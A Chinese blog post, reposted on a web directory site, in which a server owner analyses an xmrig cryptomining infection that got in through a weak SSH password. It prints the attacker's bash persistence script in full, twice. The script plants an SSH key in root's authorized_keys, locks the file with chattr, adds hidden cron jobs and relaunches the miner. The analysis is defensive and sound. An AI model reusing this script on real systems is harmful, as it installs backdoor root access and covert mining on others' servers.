欢迎您加入19站目录库!网站推广流程:注册会员 -> 提交网站 -> 快速审核 -> 带来无限流量和外链。( 点入和点出一次可获排名第一位!
数据统计:136个主题分类,5423个优秀站点,20个站点正在排队审核,881篇站长资讯
网站快速审核:免费请联系: 点击这里给我发消息
当前位置:19站目录库 » 站长资讯 » 建站经验 » 文章详细 订阅RssFeed

服务器的 CPU 占用率过高分析:原因是一个挖矿木马

来源:19站目录库 浏览:753次 时间:2022-01-25


昨天,我一台服务器的CPU占用率超过了80%(那台服务器并没有被用于任何项目),登录 Cockpit 一看日志,从2022年1月12日 下午 7:012022年1月12日 下午 10:04一直有sshd的登陆错误报告,10:04之后就没了,心想不好,一看cpu99%就知道出事了

检测

这台服务器并没有log4j 0day的漏洞(java都没有),只有可能是被跑字典了,并且当时密码也用的弱密码(笑),估计是个脚本小子干的,然后直接一个top,好家伙xmrig藏都不藏的,直接进去就把目录删了,暗想不对,反手进行一个

ps -aux | grep xmrig

很快啊,啥都出来了,返回了一个脚本,是用一个不明的文件 -c调用的一个脚本,后悔当时直接抄了家,没有留个底,,

只剩下一个脚本可以分析了,这个脚本让代码格式化直呼我不理解,原代码在文末附上,这里放已经被我缴械的代码(

#!/bin/bash
sshkey="ssh-rsa QWQ localhost" 
FOLDER="$(cat /var/tmp/.logs/.xmr)" 
sshkeyset() { 
    if [ $(id -u) = 0 ]; 
    then if [ -f "/root/.ssh/authorized_keys" ]; 
    then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; 
        then chattr -i -a -j -t -d -u /root ; 
            chattr -i -a -j -t -d -u /root/.ssh ;
            chattr -i -a -j -t -d -u /root/.ssh/authorized_keys 
            echo $sshkey >> "/root/.ssh/authorized_keys" 
            chmod 600 /root/.ssh/authorized_keys 
            chattr +i /root/.ssh/authorized_keys 
    fi 
    else 
    if [ -d "/root/.ssh" ]; 
    then 
        chattr -i -a -j -t -d -u /root/.ssh 
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    else 
        chattr -i -a -j -t -d -u /root 
        mkdir "/root/.ssh"  
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    fi
    fi
    fi
}
cronjob() { 
    if ! crontab -l | grep -q 'updat3';
    then rm -rf $FOLDER/.tempo
    echo "@daily $FOLDER/start" >> $FOLDER/.tempo 
    sleep 1 
    echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    crontab $FOLDER/.tempo 
    sleep 1 
    rm -rf $FOLDER/.tempo 
    fi 
}
delete(){
    if [ -f $FOLDER/config.json ];
        then rm -rf $FOLDER/config.json 
        sleep 1 
        killall xmrig
        pkill xmrig 
    fi 
}  
while : 
do 
    sshkeyset 
    sleep 1
    cronjob
    sleep 1 
    delete 
    sleep 1 
    $FOLDER/1
    sleep 60
done /var/tmp/.mint-xmr/updat3

解析

缴械过后的代码就扔在上面的,代码中的公钥我出于对隐私的一个保护隐去了(确信),我们来分析一下这个代码中的函数(不得不说这个代码还是写的算聪明)

首先将FOLDER赋值为当前程序的执行目录,然后便是sshkeyset()这个函数了,顾名思义,是设置ssh公钥以便攻击者登入的。

在这里,if [ $(id -u) = 0 ];判断了当前用户是否为root用户(Linux下root用户id为0),然后判断本机中有没有自己的sshkey,如果没有就将公钥写入authorized_keys文件中(保存公钥用),它先对authorized_keys文件进行解锁,避免无法写入,写入后也记得上锁了,点名表扬(bushi

然后是cornjob()这,它判断了corntab上是否已有自己的程序,如果没有就删除掉.tempo这个文件(存了它的corntab配置信息),然后就是写入自启动(还是隐藏的),但是我机器上没有corntab,可喜可贺,可喜可贺。

然后是delete()函数,它提供了挖矿程序的关闭和自攻(确信),这里不用细说

最后就是重复执行了,用while进行循环执行所有函数,也是我没看懂的一个地方,你挖矿就挖矿还留销毁程序干嘛(笑

尾声

最近摸鱼的比较多所以没怎么更新,处理完了这玩意儿,想着挺有趣的就更了一篇,如果我对代码理解有误也请各位大佬多多指正了(笑

最后叮嘱各位,不要在可能暴露在公网的服务器上使用弱密码(

#!/bin/bash sshkey="ssh-rsa 对隐私进行一个保护 localhost" FOLDER="$(cat /var/tmp/.logs/.xmr)
" ###########  sshkeyset() { ?if [ $(id -u) = 0 ]; then ??if [ -f "/root/.ssh/authorized_keys" 
]; then ???if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then ????chattr -i -a 
-j -t -d -u /root ; chattr -i -a -j -t -d -u /root/.ssh ; chattr -i -a -j -t -d -u /root/.ssh
/authorized_keys ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/
authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??else ???if [ -d "/root/.ssh" 
]; then ????chattr -i -a -j -t -d -u /root/.ssh ????echo $sshkey >> "/root/.ssh/
authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/
authorized_keys ???else ????chattr -i -a -j -t -d -u /root ????mkdir "/root/.ssh"  
????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys
 ????chattr +i /root/.ssh/authorized_keys ???fi ??fi ?fi }  cronjob() { ?if ! crontab -l |
 grep -q 'updat3'; then ??rm -rf $FOLDER/.tempo ??echo "@daily $FOLDER/start" >> $FOLDER/.
tempo ??sleep 1 ??echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
 ??sleep 1 ??echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
??sleep 1 ??crontab $FOLDER/.tempo ??sleep 1 ??rm -rf $FOLDER/.tempo ?fi }  delete() { ?if
 [ -f $FOLDER/config.json ]; then ??rm -rf $FOLDER/config.json ??sleep 1 ??killall xmrig
 ??pkill xmrig ?fi }  while : do ?sshkeyset ?sleep 1 ?cronjob ?sleep 1 ?delete ?sleep 1
 ?$FOLDER/1 ?sleep 60 done /var/tmp/.mint-xmr/updat3
版权声明:
1、本文内容由网友自发贡献,版权归原作者所有。
2、本站仅提供文章发布平台,文章的内容与本站无关,请真伪自辩,本站不承担相应法律责任。
3、如果发现本站有涉嫌抄袭侵权的内容,欢迎举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。
4、转载请注明本文地址:http://www.19zh.com/artinfo/550.html

推荐站点

  • 自学ps教程网自学ps教程网

    分享原创ps图文教程:从新手零基础入门ps教程,到ps设计实战经验,以及很多网友要学的ps抠图教程,都会通过图文的方式,展示给大家,用简洁的语言,到位的图示,让您轻松查阅,快速get到要点,新知识、新图例,尽在taoxuemei.com!

    www.taoxuemei.com
  • 189d下载网189d下载网

    189d下载网是一个资源下载中心,为用户提供最新的手机游戏下载、最好用的安卓app下载,以及各种最新的电脑软件和单机游戏的免费下载,还有各种热门游戏的攻略和软件使用教程。

    www.189d.com
  • 全球工厂网全球工厂网

    全球工厂网是专注企业信息化的综合电子商务服务平台,汇集各行业供求信息,为客户提供高标准的一站式服务

    https://www.gc1288.com/
  • 38健康网-专业女性健康知识网站38健康网-专业女性健康知识网站

    38健康网(www.ni38.com)专业的女性健康网站,提供女性健康小常识、心理健康、生理健康、亚健康、女性保健、女性孕育、健康食谱、妇科疾病等的综合女性健康网站.

    www.ni38.com
  • 1080影视大全1080影视大全

    【1080影视大全】为您提供好看的电影、全新电视剧、全新动漫、全新综艺节目排行榜,免费在线观看lunli电影、动作片、 喜剧片、爱情片、搞笑片等全新电影,更多电影高清在线观看尽在1080影视大全(www.ki65.com)。

    www.ki65.com
  • 简书简书

    简书是一个优质的创作社区,在这里,你可以任性地创作,一篇短文、一张照片、一首诗、一幅画……我们相信,每个人都是生活中的艺术家,有着无穷的创造力。

    www.jianshu.com
Powered by 19站目录F2.02021版 官方网站:19站目录库
Processed in 0.182295 second(s), 22 Queries, Gzip Enabled